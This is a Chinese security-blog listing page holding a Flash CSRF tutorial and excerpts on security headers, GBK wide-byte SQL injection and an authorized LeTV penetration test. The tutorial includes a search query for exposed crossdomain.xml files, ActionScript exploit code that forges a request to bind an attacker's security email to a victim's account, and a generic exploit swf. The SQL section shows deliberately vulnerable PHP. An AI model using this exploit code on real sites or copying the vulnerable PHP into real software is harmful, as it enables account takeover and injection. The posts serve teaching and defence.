Flash CSRF

作者:Secer 发布时间:April 27, 2014 分类:Web安全,代码学习

目录


0x00 Flash CSRF名词解释
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以干些什么
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎么防御

0x00 Flash CSRF名词解释


CSRF(Cross-site request forgery跨站请求伪造,是一种对网站的恶意利用,CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。

0x01 Flash CSRF形成的原因


So 官腔我们也打了,还是要干点实事PS::)

为人民服务的好孩子,我们来看看如何寻找Flash CSRF:

首先我们要知道怎么形成CSRF

PS:CSRF形成的原因大概有以下几种:

Flash跨域权限管理文件设置为允许所有主机/域名跨域对本站进行读写数据:

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>     <allow-access-from domain="*"/>
</cross-domain-policy>

Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF。

0x02 如何来发现哪些地方存在Flash CSRF


骚年们,前面我们介绍了形成Flash CSRF的原因,我们是不是就可以对站下药了,难道又有一波个人资料被莫名被修改成“狗皮膏药”广告的节奏啊,敬告各位看官,看见了这篇文章之后请检查自己的站是否存在Flash CSRF以免减少被举报而带来的巨额损失啊(吊丝们对各位看官望尘莫及啊):

由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的,所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF:

http://www.xxx.com/crossdomain.xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

0x02 Flash CSRF可以干些什么


在一个月黑风高的夜晚,Flash CSRF慢慢的在向XX网靠近,下面说说我是怎么找到XX网的Flash CSRF和利用XX网的Flash CSRF直接修改访问者账号信息。

无聊的逛着各大新闻网站,感觉这些大部分新闻网站的新闻源都差不多没几下就看完了,最后觉得自己作为天朝一员还是应该关系关系下国家大事,就懵懂懂的打开了XX网,关心了下我国基本国情,始终耐不住寂寞,正好前两天学习了Flash CSRF的原理和危害,但是一直没找到东西练手,大家都知道天朝的网站是多么的牛B,但是也只是抱着试试的心态,完全就是小孩子玩玩泥巴而已了,玩笑时间到,回到正题:),我先打开xx网,按照刚刚前面查找该网站是否有Flash CSRF漏洞我们第一步该判断什么?没错就是看官们看到的这样,我也只是个凡人而已。。。。于是就有了如下的FlashCSRF漏洞查找流程:

Google hack:crossdomain filetype:xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*" secure=”true”/>
</cross-domain-policy>

Secure=true的意思是只允许通过安全链接来请求本域的数据。

随手查看了发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容,突然之间脑海就浮现了一种奇怪的想法,自己搭建SSL网站,然后调用Flash文件进去不就可以读他们网站的数据和发送post请求,可是又遇见瓶颈了,找了这么多地方我Flash还没有地方可以插的,在不屑努力下,找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据-PS:),下面我们就试试BLOG页面,发现也有,当然耐心也是必须的。

0x03 Flash CSRF如何利用


我们找一个可以插入Flash的地方,插入我们自己写的Flash,访客访问我们网页就会执行我们写的脚本,下面我们来看看Flash CSRF具体利用方法。
So~下面我们来制造一个访客访问我们链接的时候,自动设置自己的密保邮箱:

首先我们添加保密邮箱点提交,然后抓包分析它提交了什么内容,然后来构造我们的Flash CSRF利用代码,下面我们提交绑定保密邮箱请求,抓包分析它的数据。
申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:

POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]

由于我们之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以我们就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求。

利用代码:

package {     import flash.display.Sprite;     import flash.events.Event;     import flash.net.*;     import flash.text.TextField;     public class url extends Sprite     {         public function url()         {             //获取当前页面userid/token             var echo_txt:TextField = new TextField();             var targetURL:String = "http://xx.xx.cc";             var request:URLRequest = new URLRequest(targetURL);             request.method = URLRequestMethod.GET;             request.data = "";             sendToURL(request);             var loader:URLLoader=new URLLoader();             loader.addEventListener(Event.COMPLETE,completeHandler);             function completeHandler(event:Event):void{             var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];

 var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];             echo_txt.text =  masthash;             //伪造申请密保邮箱POST请求             var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";             var emailrequest:URLRequest = new URLRequest(emailtargetURL);             emailrequest.method = URLRequestMethod.POST;             var postdata:Object = new Array();             postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;             emailrequest.data = postdata[0];             sendToURL(emailrequest);             }             loader.load(request);         }     }
}

我们用一个新账号来做测试看看效果 :)

0x04 Flash CSRF怎么防御


知道Flash CSRF攻击流程,然后在防御就so easy了~:)

妈妈再也不担心我被Flash CSRF啦~虽然各位看官都明白了怎么防御,但是还是照例啰嗦一下啦:

一句话概括:站点根目录CrossDomain.xml跨域获取信息权限控制好,精确到子域,不给不法分子留下机会!!
附一份自己网站的CrossDomain.xml文件权限配置:

<?xml version="1.0"?>
<cross-domain-policy>   <allow-access-from domain="http://xx.xx.com" secure="true”/>
<allow-access-from domain="http://cc.xx.com" secure="true”/>
</cross-domain-policy>

根据自己的业务需求来更改CrossDomain.xml文件配置,切记精确到子域,这样会大大减少Flash CSRF的风险!

通用Flash CSRF EXP : FlashCSRFexp.swf

使用方法:

FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post请求的地址]&[参数值用&分开]

谢谢各位大牛捧场,十分感谢二哥,长短短,PKAV团队的技术栽培 :)~

from http://drops.wooyun.org/tips/688

header的安全配置指南

作者:Secer 发布时间:April 25, 2014 分类:Web安全

0x00 背景


在统计了Alexa top 100万网站的header安全分析之后(2012年11月 - 2013年3月 - 2013年11月),我们发现其实如何正确的设置一个header并不是一件容易的事情。尽管有数不胜数的网站会使用大量有关安全方面的header,但并没有一个像样的平台能够为开发者们提供必要的信息,以辨别那些常见的错误设置。或者说,即使这些安全方面的header设置正确了,也没有一个平台能够为开发者提供一个系统的测试方法,用来测试正确与否。这些header如果设置错误了不仅会产生安全的假象,甚至会对网站的安全产生威胁。veracode认为安全性header是网络防护中非常重要的一环,并且他希望让开发者们能够简捷、正确地设置站点。如果您对某一header或设置有任何疑问,我们有极好的资源能够追踪到浏览器支持情况。

0x01 细节


1. X-XSS-Protection

目的

这个header主要是用来防止浏览器中的反射性xss。现在,只有IE,chrome和safari(webkit)支持这个header。

正确的设置

0 – 关闭对浏览器的xss防护

1 – 开启xss防护

1; mode=block – 开启xss防护并通知浏览器阻止而不是过滤用户注入的脚本。

1; report=http://site.com/report – 这个只有chrome和webkit内核的浏览器支持,这种模式告诉浏览器当发现疑似xss攻击的时候就将这部分数据post到指定地址。

通常不正确的设置

0; mode=block; – 记住当配置为0的时候,即使加了mode=block选项也是没有效果的。需要指出的是,chrome在发现这种错误的配置后还是会开启xss防护。

1 mode=block; – 数字和选项之间必须是用分号分割,逗号和空格都是错误的。但是这种错误配置情况下,IE和chrome还是默认会清洗xss攻击,但是不会阻拦。

如何检测

如果过滤器检测或阻拦了一个反射性xss以后,IE会弹出一个对话框。当设置为1时,chrome会隐藏对反射性xss的输出。如果是设置为 1; mode=block ,那么chrome会直接将user-agent置为一个空值:, URL  这种形式。

参考文献

Post from Microsoft on the X-XSS-Protection Header
Chromium X-XSS-Protection Header Parsing Source
Discussion of report format in WebKit bugzilla

阅读剩余部分...

浅析白盒审计中的字符编码及SQL注入

作者:Secer 发布时间:April 17, 2014 分类:Web安全

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本。

我们就以gbk字符编码为示范,拉开帷幕。gbk是一种多字符编码,具体定义自行百度。但有一个地方尤其要注意:

通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出

echo strlen("和");

来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。

除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不用的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

以上是一点关于多字节编码的小知识,只有我们足够了解它的组成及特性以后,才能更好地去分析它身上存在的问题。

说了这么多废话,现在来研究一下在SQL注入中,字符编码带来的各种问题。

0×01 MYSQL中的宽字符注入

这是一个老话题了,也被人玩过无数遍。但作为我们这篇文章的序幕,也是基础,是必须要提的。

我们先搭建一个实验环境。暂且称之为phithon内容管理系统v1.0,首先先新建一个数据库,把如下压缩包中的sql文件导入:

测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu

之后的phithon内容管理系统会逐步完善,但会一直使用这个数据表。

源码很简单(注意先关闭自己php环境的magic_quotes_gpc):

<?php

//连接数据库部分,注意使用了gbk编码,把数据库信息填写进去

$conn = mysql_connect('localhost', 'root', '[email protected]#$') or die('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");

//执行sql语句

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

$sql = "SELECT * FROM news WHERE tid='{$id}'";

$result = mysql_query($sql, $conn) or die(mysql_error()); //sql出错会报错,方便观察

?>

<!DOCTYPE html>

<html>

<head>

<meta charset="gbk" />

<title>新闻</title>

</head>

<body>

<?php

$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";

mysql_free_result($result);

?>

</body>

</html>

SQL语句是SELECT * FROM news WHERE tid='{$id}',就是根据文章的id把文章从news表中取出来。

在这个sql语句前面,我们使用了一个addslashes函数,将$id的值转义。这是通常cms中对sql注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入,如下图:

浅析白盒审计中的字符编码及SQL注入

那么怎么逃过addslashes的限制?众所周知addslashes函数产生的效果就是,让’变成\’,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\’前面的\:

1.想办法给\前面再加一个\(或单数个即可),变成\\’,这样\被转义了,’逃出了限制

2.想办法把\弄没有。

阅读剩余部分...

乐视渗透纪实

作者:Secer 发布时间:April 11, 2014 分类:渗透测试

※ 本次渗透是基于乐视官方授权许可的基础上进行的。建议各位做持续或内部渗透前,先和官方联系,取得相应许可,以免出现不必要的误会和麻烦。
※ 本报告中部分信息涉及的隐私部分,将做屏蔽或替换处理。
※ 应厂商意向,本专题希望各位基友仅在乌云讨论,不要外发,谢谢!
详细说明:
在一个月黑风高之夜,一个死宅和他的基友在乐视网看电影。突然某神经君冒出了一个想法,于是渗透就开始了。。
首先,要对外网信息进行搜集。比如域名信息,IP段信息等。
clip_image002
然后,在115.182.C1.D1,发现了一个系统存在s2-016/017命令执行。
clip_image003
clip_image004
不过由于各种原因,导致开代理不成功,比较悲催。。没关系,留着,继续挖。。。
然后在117.121.C1.D1,发现了安恒的明鉴网页漏洞综合扫描平台系统,而且是strtus2框架,未打最新补丁!于是便拿到了此系统的权限。
但是很郁闷,数据源加密了。
clip_image006
但是扫漏系统是一个很重要的平台,能提供大量的乐视内外部漏洞信息,怎能轻易放过呢?
经过遍历,终于在一个脚本里找到了数据库密码。
clip_image008
然后获得管理员密码并登录。
clip_image009
clip_image011
里面的内容很丰富啊,既有乐视大部分系统信息,又有漏洞扫描报告,很多信息都可以直接利用,同时也为下一步渗透提供了资料。

阅读剩余部分...